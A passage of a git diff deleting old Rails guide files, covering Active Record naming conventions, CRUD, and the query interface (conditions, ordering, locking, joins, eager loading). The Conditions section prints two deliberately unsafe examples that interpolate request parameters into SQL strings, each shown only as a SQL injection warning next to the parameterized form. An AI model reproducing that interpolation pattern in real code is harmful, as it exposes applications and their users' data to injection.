-Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns.
-
-* *Foreign keys* - These fields should be named following the pattern +singularized_table_name_id+ (e.g., +item_id+, +order_id+). These are the fields that Active Record will look for when you create associations between your models.
-* *Primary keys* - By default, Active Record will use an integer column named +id+ as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created.
-
-There are also some optional column names that will create additional features to Active Record instances:
-
-* +created_at+ - Automatically gets set to the current date and time when the record is first created.
-* +created_on+ - Automatically gets set to the current date when the record is first created.
-* +updated_at+ - Automatically gets set to the current date and time whenever the record is updated.
-* +updated_on+ - Automatically gets set to the current date whenever the record is updated.
-* +lock_version+ - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model.
-* +type+ - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html
-* +(table_name)_count+ - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post.
-
-NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, +type+ is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
-
-h3. Creating Active Record Models
-
-It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go:
-
-<ruby>
-class Product < ActiveRecord::Base
-end
-</ruby>
-
-This will create a +Product+ model, mapped to a +products+ table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the +products+ table was created using an SQL sentence like:
-
-<sql>
-CREATE TABLE products (
-   id int(11) NOT NULL auto_increment,
-   name varchar(255),
-   PRIMARY KEY  (id)
-);
-</sql>
-
-Following the table schema above, you would be able to write code like the following:
-
-<ruby>
-p = Product.new
-p.name = "Some Book"
-puts p.name # "Some Book"
-</ruby>
-
-h3. Overriding the Naming Conventions
-
-What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.
-
-You can use the +ActiveRecord::Base.set_table_name+ method to specify the table name that should be used:
-
-<ruby>
-class Product < ActiveRecord::Base
-  set_table_name "PRODUCT"
-end
-</ruby>
-
-If you do so, you will have to define manually the class name that is hosting the fixtures (class_name.yml) using the +set_fixture_class+ method in your test definition:
-
-<ruby>
-class FunnyJoke < ActiveSupport::TestCase
-  set_fixture_class :funny_jokes => 'Joke'
-  fixtures :funny_jokes
-  ...
-end
-</ruby>
-
-It's also possible to override the column that should be used as the table's primary key using the +ActiveRecord::Base.set_primary_key+ method:
-
-<ruby>
-class Product < ActiveRecord::Base
-  set_primary_key "product_id"
-end
-</ruby>
-
-h3. CRUD: Reading and Writing Data
-
-CRUD is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.
-
-h4. Create
-
-Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The +new+ method will return a new object while +create+ will return the object and save it to the database.
-
-For example, given a model +User+ with attributes of +name+ and +occupation+, the +create+ method call will create and save a new record into the database:
-
-<ruby>
-  user = User.create(:name => "David", :occupation => "Code Artist")
-</ruby>
-
-Using the +new+ method, an object can be created without being saved:
-
-<ruby>
-  user = User.new
-  user.name = "David"
-  user.occupation = "Code Artist"
-</ruby>
-
-A call to +user.save+ will commit the record to the database.
-
-Finally, if a block is provided, both +create+ and +new+ will yield the new object to that block for initialization:
-
-<ruby>
-  user = User.new do |u|
-    u.name = "David"
-    u.occupation = "Code Artist"
-  end
-</ruby>
-
-h4. Read
-
-Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record.
-
-<ruby>
-  # return array with all records
-  users = User.all
-</ruby>
-
-<ruby>
-  # return the first record
-  user = User.first
-</ruby>
-
-<ruby>
-  # return the first user named David
-  david = User.find_by_name('David')
-</ruby>
-
-<ruby>
-  # find all users named David who are Code Artists and sort by created_at in reverse chronological order
-  users = User.where(:name => 'David', :occupation => 'Code Artist').order('created_at DESC')
-</ruby>
-
-You can learn more about querying an Active Record model in the "Active Record Query Interface":"active_record_querying.html" guide.
-
-h4. Update
-
-Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.
-
-<ruby>
-  user = User.find_by_name('David')
-  user.name = 'Dave'
-  user.save
-</ruby>
-
-h4. Delete
-
-Likewise, once retrieved an Active Record object can be destroyed which removes it from the database.
-
-<ruby>
-  user = User.find_by_name('David')
-  user.destroy
-</ruby>
-
-h3. Validations
-
-Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#validations-overview.
-
-h3. Callbacks
-
-Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#callbacks-overview.
-
-h3. Migrations
-
-Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the "Active Record Migrations guide":migrations.html
diff --git a/railties/guides/source/active_record_querying.textile b/railties/guides/source/active_record_querying.textile
deleted file mode 100644
index ad12dca7e8..0000000000
--- a/railties/guides/source/active_record_querying.textile
+++ /dev/null
@@ -1,1341 +0,0 @@
-h2. Active Record Query Interface
-
-This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:
-
-* Find records using a variety of methods and conditions
-* Specify the order, retrieved attributes, grouping, and other properties of the found records
-* Use eager loading to reduce the number of database queries needed for data retrieval
-* Use dynamic finders methods
-* Check for the existence of particular records
-* Perform various calculations on Active Record models
-* Run EXPLAIN on relations
-
-endprologue.
-
-WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in other versions of Rails.
-
-If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
-
-Code examples throughout this guide will refer to one or more of the following models:
-
-TIP: All of the following models use +id+ as the primary key, unless specified otherwise.
-
-<ruby>
-class Client < ActiveRecord::Base
-  has_one :address
-  has_many :orders
-  has_and_belongs_to_many :roles
-end
-</ruby>
-
-<ruby>
-class Address < ActiveRecord::Base
-  belongs_to :client
-end
-</ruby>
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :client, :counter_cache => true
-end
-</ruby>
-
-<ruby>
-class Role < ActiveRecord::Base
-  has_and_belongs_to_many :clients
-end
-</ruby>
-
-Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
-
-h3. Retrieving Objects from the Database
-
-To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.
-
-The methods are:
-* +where+
-* +select+
-* +group+
-* +order+
-* +reorder+
-* +reverse_order+
-* +limit+
-* +offset+
-* +joins+
-* +includes+
-* +lock+
-* +readonly+
-* +from+
-* +having+
-
-All of the above methods return an instance of <tt>ActiveRecord::Relation</tt>.
-
-The primary operation of <tt>Model.find(options)</tt> can be summarized as:
-
-* Convert the supplied options to an equivalent SQL query.
-* Fire the SQL query and retrieve the corresponding results from the database.
-* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
-* Run +after_find+ callbacks, if any.
-
-h4. Retrieving a Single Object
-
-Active Record provides five different ways of retrieving a single object.
-
-h5. Using a Primary Key
-
-Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
-
-<ruby>
-# Find the client with primary key (id) 10.
-client = Client.find(10)
-# => #<Client id: 10, first_name: "Ryan">
-</ruby>
-
-The SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients WHERE (clients.id = 10)
-</sql>
-
-<tt>Model.find(primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception if no matching record is found.
-
-h5. +first+
-
-<tt>Model.first</tt> finds the first record matched by the supplied options, if any. For example:
-
-<ruby>
-client = Client.first
-# => #<Client id: 1, first_name: "Lifo">
-</ruby>
-
-The SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients LIMIT 1
-</sql>
-
-<tt>Model.first</tt> returns +nil+ if no matching record is found. No exception will be raised.
-
-h5. +last+
-
-<tt>Model.last</tt> finds the last record matched by the supplied options. For example:
-
-<ruby>
-client = Client.last
-# => #<Client id: 221, first_name: "Russel">
-</ruby>
-
-The SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
-</sql>
-
-<tt>Model.last</tt> returns +nil+ if no matching record is found. No exception will be raised.
-
-h5(#first_1). +first!+
-
-<tt>Model.first!</tt> finds the first record. For example:
-
-<ruby>
-client = Client.first!
-# => #<Client id: 1, first_name: "Lifo">
-</ruby>
-
-The SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients LIMIT 1
-</sql>
-
-<tt>Model.first!</tt> raises +RecordNotFound+ if no matching record is found.
-
-h5(#last_1). +last!+
-
-<tt>Model.last!</tt> finds the last record. For example:
-
-<ruby>
-client = Client.last!
-# => #<Client id: 221, first_name: "Russel">
-</ruby>
-
-The SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
-</sql>
-
-<tt>Model.last!</tt> raises +RecordNotFound+ if no matching record is found.
-
-h4. Retrieving Multiple Objects
-
-h5. Using Multiple Primary Keys
-
-<tt>Model.find(array_of_primary_key)</tt> accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example:
-
-<ruby>
-# Find the clients with primary keys 1 and 10.
-client = Client.find([1, 10]) # Or even Client.find(1, 10)
-# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
-</ruby>
-
-The SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients WHERE (clients.id IN (1,10))
-</sql>
-
-WARNING: <tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception unless a matching record is found for <strong>all</strong> of the supplied primary keys.
-
-h4. Retrieving Multiple Objects in Batches
-
-We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data.
-
-This may appear straightforward:
-
-<ruby>
-# This is very inefficient when the users table has thousands of rows.
-User.all.each do |user|
-  NewsLetter.weekly_deliver(user)
-end
-</ruby>
-
-But this approach becomes increasingly impractical as the table size increases, since +User.all.each+ instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.
-
-Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, +find_each+, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, +find_in_batches+, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models.
-
-TIP: The +find_each+ and +find_in_batches+ methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.
-
-h5. +find_each+
-
-The +find_each+ method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, +find_each+ will retrieve 1000 records (the current default for both +find_each+ and +find_in_batches+) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed:
-
-<ruby>
-User.find_each do |user|
-  NewsLetter.weekly_deliver(user)
-end
-</ruby>
-
-h6. Options for +find_each+
-
-The +find_each+ method accepts most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_each+.
-
-Two additional options, +:batch_size+ and +:start+, are available as well.
-
-*+:batch_size+*
-
-The +:batch_size+ option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:
-
-<ruby>
-User.find_each(:batch_size => 5000) do |user|
-  NewsLetter.weekly_deliver(user)
-end
-</ruby>
-
-*+:start+*
-
-By default, records are fetched in ascending order of the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
-
-For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000:
-
-<ruby>
-User.find_each(:start => 2000, :batch_size => 5000) do |user|
-  NewsLetter.weekly_deliver(user)
-end
-</ruby>
-
-Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate <tt>:start</tt> option on each worker.
-
-NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models.
-
-h5. +find_in_batches+
-
-The +find_in_batches+ method is similar to +find_each+, since both retrieve batches of records. The difference is that +find_in_batches+ yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
-
-<ruby>
-# Give add_invoices an array of 1000 invoices at a time
-Invoice.find_in_batches(:include => :invoice_lines) do |invoices|
-  export.add_invoices(invoices)
-end
-</ruby>
-
-NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models.
-
-h6. Options for +find_in_batches+
-
-The +find_in_batches+ method accepts the same +:batch_size+ and +:start+ options as +find_each+, as well as most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_in_batches+.
-
-h3. Conditions
-
-The +where+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
-
-h4. Pure String Conditions
-
-If you'd like to add conditions to your find, you could just specify them in there, just like +Client.where("orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2.
-
-WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.where("first_name LIKE '%#{params[:first_name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array.
-
-h4. Array Conditions
-
-Now what if that number could vary, say as an argument from somewhere? The find would then take the form:
-
-<ruby>
-Client.where("orders_count = ?", params[:orders])
-</ruby>
-
-Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element.
-
-If you want to specify multiple conditions:
-
-<ruby>
-Client.where("orders_count = ? AND locked = ?", params[:orders], false)
-</ruby>
-
-In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter.
-
-This code is highly preferable:
-
-<ruby>
-Client.where("orders_count = ?", params[:orders])
-</ruby>
-
-to this code:
-
-<ruby>
-Client.where("orders_count = #{params[:orders]}")
-</ruby>
-
-because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
-
-TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection.
-
-h5. Placeholder Conditions
-
-Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your array conditions:
-
-<ruby>
-Client.where("created_at >= :start_date AND created_at <= :end_date",
-  {:start_date => params[:start_date], :end_date => params[:end_date]})
-</ruby>
-
-This makes for clearer readability if you have a large number of variable conditions.
-
-h5(#array-range_conditions). Range Conditions
-
-If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the +IN+ SQL statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:
-
-<ruby>
-Client.where(:created_at => (params[:start_date].to_date)..(params[:end_date].to_date))
-</ruby>
-
-This query will generate something similar to the following SQL:
-
-<sql>
-  SELECT "clients".* FROM "clients" WHERE ("clients"."created_at" BETWEEN '2010-09-29' AND '2010-11-30')
-</sql>
-
-h4. Hash Conditions
-
-Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
-
-NOTE: Only equality, range and subset checking are possible with Hash conditions.
-
-h5. Equality Conditions
-
-<ruby>
-Client.where(:locked => true)
-</ruby>
-
-The field name can also be a string:
-
-<ruby>
-Client.where('locked' => true)
-</ruby>
-
-h5(#hash-range_conditions). Range Conditions
-
-The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section.
-
-<ruby>
-Client.where(:created_at => (Time.now.midnight - 1.day)..Time.now.midnight)
-</ruby>
-
-This will find all clients created yesterday by using a +BETWEEN+ SQL statement:
-
-<sql>
-SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
-</sql>
-
-This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions
-
-h5. Subset Conditions
-
-If you want to find records using the +IN+ expression you can pass an array to the conditions hash:
-
-<ruby>
-Client.where(:orders_count => [1,3,5])
-</ruby>
-
-This code will generate SQL like this:
-
-<sql>
-SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
-</sql>
-
-h3. Ordering
-
-To retrieve records from the database in a specific order, you can use the +order+ method.
-
-For example, if you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table:
-
-<ruby>
-Client.order("created_at")
-</ruby>
-
-You could specify +ASC+ or +DESC+ as well:
-
-<ruby>
-Client.order("created_at DESC")
-# OR
-Client.order("created_at ASC")
-</ruby>
-
-Or ordering by multiple fields:
-
-<ruby>
-Client.order("orders_count ASC, created_at DESC")
-</ruby>
-
-h3. Selecting Specific Fields
-
-By default, <tt>Model.find</tt> selects all the fields from the result set using +select *+.
-
-To select only a subset of fields from the result set, you can specify the subset via the +select+ method.
-
-NOTE: If the +select+ method is used, all the returning objects will be "read only":#readonly-objects.
-
-<br />
-
-For example, to select only +viewable_by+ and +locked+ columns:
-
-<ruby>
-Client.select("viewable_by, locked")
-</ruby>
-
-The SQL query used by this find call will be somewhat like:
-
-<sql>
-SELECT viewable_by, locked FROM clients
-</sql>
-
-Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
-
-<shell>
-ActiveModel::MissingAttributeError: missing attribute: <attribute>
-</shell>
-
-Where +&lt;attribute&gt;+ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly.
-
-If you would like to only grab a single record per unique value in a certain field, you can use +uniq+:
-
-<ruby>
-Client.select(:name).uniq
-</ruby>
-
-This would generate SQL like:
-
-<sql>
-SELECT DISTINCT name FROM clients
-</sql>
-
-You can also remove the uniqueness constraint:
-
-<ruby>
-query = Client.select(:name).uniq
-# => Returns unique names
-
-query.uniq(false)
-# => Returns all names, even if there are duplicates
-</ruby>
-
-h3. Limit and Offset
-
-To apply +LIMIT+ to the SQL fired by the +Model.find+, you can specify the +LIMIT+ using +limit+ and +offset+ methods on the relation.
-
-You can use +limit+ to specify the number of records to be retrieved, and use +offset+ to specify the number of records to skip before starting to return the records. For example
-
-<ruby>
-Client.limit(5)
-</ruby>
-
-will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:
-
-<sql>
-SELECT * FROM clients LIMIT 5
-</sql>
-
-Adding +offset+ to that
-
-<ruby>
-Client.limit(5).offset(30)
-</ruby>
-
-will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like:
-
-<sql>
-SELECT * FROM clients LIMIT 5 OFFSET 30
-</sql>
-
-h3. Group
-
-To apply a +GROUP BY+ clause to the SQL fired by the finder, you can specify the +group+ method on the find.
-
-For example, if you want to find a collection of the dates orders were created on:
-
-<ruby>
-Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
-</ruby>
-
-And this will give you a single +Order+ object for each date where there are orders in the database.
-
-The SQL that would be executed would be something like this:
-
-<sql>
-SELECT date(created_at) as ordered_date, sum(price) as total_price FROM orders GROUP BY date(created_at)
-</sql>
-
-h3. Having
-
-SQL uses the +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You can add the +HAVING+ clause to the SQL fired by the +Model.find+ by adding the +:having+ option to the find.
-
-For example:
-
-<ruby>
-Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)").having("sum(price) > ?", 100)
-</ruby>
-
-The SQL that would be executed would be something like this:
-
-<sql>
-SELECT date(created_at) as ordered_date, sum(price) as total_price FROM orders GROUP BY date(created_at) HAVING sum(price) > 100
-</sql>
-
-This will return single order objects for each day, but only those that are ordered more than $100 in a day.
-
-h3. Overriding Conditions
-
-h4. +except+
-
-You can specify certain conditions to be excepted by using the +except+ method. For example:
-
-<ruby>
-Post.where('id > 10').limit(20).order('id asc').except(:order)
-</ruby>
-
-The SQL that would be executed:
-
-<sql>
-SELECT * FROM posts WHERE id > 10 LIMIT 20
-</sql>
-
-h4. +only+
-
-You can also override conditions using the +only+ method. For example:
-
-<ruby>
-Post.where('id > 10').limit(20).order('id desc').only(:order, :where)
-</ruby>
-
-The SQL that would be executed:
-
-<sql>
-SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
-</sql>
-
-h4. +reorder+
-
-The +reorder+ method overrides the default scope order. For example:
-
-<ruby>
-class Post < ActiveRecord::Base
-  ..
-  ..
-  has_many :comments, :order => 'posted_at DESC'
-end
-
-Post.find(10).comments.reorder('name')
-</ruby>
-
-The SQL that would be executed:
-
-<sql>
-SELECT * FROM posts WHERE id = 10 ORDER BY name
-</sql>
-
-In case the +reorder+ clause is not used, the SQL executed would be:
-
-<sql>
-SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC
-</sql>
-
-h4. +reverse_order+
-
-The +reverse_order+ method reverses the ordering clause if specified.
-
-<ruby>
-Client.where("orders_count > 10").order(:name).reverse_order
-</ruby>
-
-The SQL that would be executed:
-
-<sql>
-SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
-</sql>
-
-If no ordering clause is specified in the query, the +reverse_order+ orders by the primary key in reverse order.
-
-<ruby>
-Client.where("orders_count > 10").reverse_order
-</ruby>
-
-The SQL that would be executed:
-
-<sql>
-SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
-</sql>
-
-This method accepts *no* arguments.
-
-h3. Readonly Objects
-
-Active Record provides +readonly+ method on a relation to explicitly disallow modification or deletion of any of the returned object. Any attempt to alter or destroy a readonly record will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception.
-
-<ruby>
-client = Client.readonly.first
-client.visits += 1
-client.save
-</ruby>
-
-As +client+ is explicitly set to be a readonly object, the above code will raise an +ActiveRecord::ReadOnlyRecord+ exception when calling +client.save+ with an updated value of _visits_.
-
-h3. Locking Records for Update
-
-Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.
-
-Active Record provides two locking mechanisms:
-
-* Optimistic Locking
-* Pessimistic Locking
-
-h4. Optimistic Locking
-
-Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An +ActiveRecord::StaleObjectError+ exception is thrown if that has occurred and the update is ignored.
-
-<strong>Optimistic locking column</strong>
-
-In order to use optimistic locking, the table needs to have a column called +lock_version+. Each time the record is updated, Active Record increments the +lock_version+ column. If an update request is made with a lower value in the +lock_version+ field than is currently in the +lock_version+ column in the database, the update request will fail with an +ActiveRecord::StaleObjectError+. Example:
-
-<ruby>
-c1 = Client.find(1)
-c2 = Client.find(1)
-
-c1.first_name = "Michael"
-c1.save
-
-c2.name = "should fail"
-c2.save # Raises an ActiveRecord::StaleObjectError
-</ruby>
-
-You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
-
-NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+.
-
-This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
-
-To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+:
-
-<ruby>
-class Client < ActiveRecord::Base
-  set_locking_column :lock_client_column
-end
-</ruby>
-
-h4. Pessimistic Locking
-
-Pessimistic locking uses a locking mechanism provided by the underlying database. Using +lock+ when building a relation obtains an exclusive lock on the selected rows. Relations using +lock+ are usually wrapped inside a transaction for preventing deadlock conditions.
-
-For example:
-
-<ruby>
-Item.transaction do
-  i = Item.lock.first
-  i.name = 'Jones'
-  i.save
-end
-</ruby>
-
-The above session produces the following SQL for a MySQL backend:
-
-<sql>
-SQL (0.2ms)   BEGIN
-Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
-Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
-SQL (0.8ms)   COMMIT
-</sql>
-
-You can also pass raw SQL to the +lock+ method for allowing different types of locks. For example, MySQL has an expression called +LOCK IN SHARE MODE+ where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
-
-<ruby>
-Item.transaction do
-  i = Item.lock("LOCK IN SHARE MODE").find(1)
-  i.increment!(:views)
-end
-</ruby>
-
-h3. Joining Tables
-
-Active Record provides a finder method called +joins+ for specifying +JOIN+ clauses on the resulting SQL. There are multiple ways to use the +joins+ method.
-
-h4. Using a String SQL Fragment
-
-You can just supply the raw SQL specifying the +JOIN+ clause to +joins+:
-
-<ruby>
-Client.joins('LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
-</ruby>
-
-This will result in the following SQL:
-
-<sql>
-SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
-</sql>
-
-h4. Using Array/Hash of Named Associations
-
-WARNING: This method only works with +INNER JOIN+.
-
-Active Record lets you use the names of the "associations":association_basics.html defined on the model as a shortcut for specifying +JOIN+ clause for those associations when using the +joins+ method.
-
-For example, consider the following +Category+, +Post+, +Comments+ and +Guest+ models:
-
-<ruby>
-class Category < ActiveRecord::Base
-  has_many :posts
-end
-
-class Post < ActiveRecord::Base
-  belongs_to :category
-  has_many :comments
-  has_many :tags
-end
-
-class Comment < ActiveRecord::Base
-  belongs_to :post
-  has_one :guest
-end
-
-class Guest < ActiveRecord::Base
-  belongs_to :comment
-end
-
-class Tag < ActiveRecord::Base
-  belongs_to :post
-end
-</ruby>
-
-Now all of the following will produce the expected join queries using +INNER JOIN+:
-
-h5. Joining a Single Association
-
-<ruby>
-Category.joins(:posts)
-</ruby>
-
-This produces:
-
-<sql>
-SELECT categories.* FROM categories
-  INNER JOIN posts ON posts.category_id = categories.id
-</sql>
-
-Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:post).select("distinct(categories.id)").
-
-h5. Joining Multiple Associations
-
-<ruby>
-Post.joins(:category, :comments)
-</ruby>
-
-This produces:
-
-<sql>
-SELECT posts.* FROM posts
-  INNER JOIN categories ON posts.category_id = categories.id
-  INNER JOIN comments ON comments.post_id = posts.id
-</sql>
-
-Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times.
-
-h5. Joining Nested Associations (Single Level)
-
-<ruby>
-Post.joins(:comments => :guest)
-</ruby>
-
-This produces:
-
-<sql>
-SELECT posts.* FROM posts
-  INNER JOIN comments ON comments.post_id = posts.id
-  INNER JOIN guests ON guests.comment_id = comments.id
-</sql>
-
-Or, in English: "return all posts that have a comment made by a guest."
-
-h5. Joining Nested Associations (Multiple Level)
-
-<ruby>
-Category.joins(:posts => [{:comments => :guest}, :tags])
-</ruby>
-
-This produces:
-
-<sql>
-SELECT categories.* FROM categories
-  INNER JOIN posts ON posts.category_id = categories.id
-  INNER JOIN comments ON comments.post_id = posts.id
-  INNER JOIN guests ON guests.comment_id = comments.id
-  INNER JOIN tags ON tags.post_id = posts.id
-</sql>
-
-h4. Specifying Conditions on the Joined Tables
-
-You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables:
-
-<ruby>
-time_range = (Time.now.midnight - 1.day)..Time.now.midnight
-Client.joins(:orders).where('orders.created_at' => time_range)
-</ruby>
-
-An alternative and cleaner syntax is to nest the hash conditions:
-
-<ruby>
-time_range = (Time.now.midnight - 1.day)..Time.now.midnight
-Client.joins(:orders).where(:orders => {:created_at => time_range})
-</ruby>
-
-This will find all clients who have orders that were created yesterday, again using a +BETWEEN+ SQL expression.
-
-h3. Eager Loading Associations
-
-Eager loading is the mechanism for loading the associated records of the objects returned by +Model.find+ using as few queries as possible.
-
-<strong>N <plus> 1 queries problem</strong>
-
-Consider the following code, which finds 10 clients and prints their postcodes:
-
-<ruby>
-clients = Client.limit(10)
-
-clients.each do |client|
-  puts client.address.postcode
-end
-</ruby>
-
-This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 ( to find 10 clients ) <plus> 10 ( one per each client to load the address ) = <strong>11</strong> queries in total.
-
-<strong>Solution to N <plus> 1 queries problem</strong>
-
-Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the +includes+ method of the +Model.find+ call. With +includes+, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.
-
-Revisiting the above case, we could rewrite +Client.all+ to use eager load addresses:
-
-<ruby>
-clients = Client.includes(:address).limit(10)
-
-clients.each do |client|
-  puts client.address.postcode
-end
-</ruby>
-
-The above code will execute just <strong>2</strong> queries, as opposed to <strong>11</strong> queries in the previous case:
-
-<sql>
-SELECT * FROM clients LIMIT 10
-SELECT addresses.* FROM addresses
-  WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
-</sql>
-
-h4. Eager Loading Multiple Associations
-
-Active Record lets you eager load any number of associations with a single +Model.find+ call by using an array, hash, or a nested hash of array/hash with the +includes+ method.
-
-h5. Array of Multiple Associations
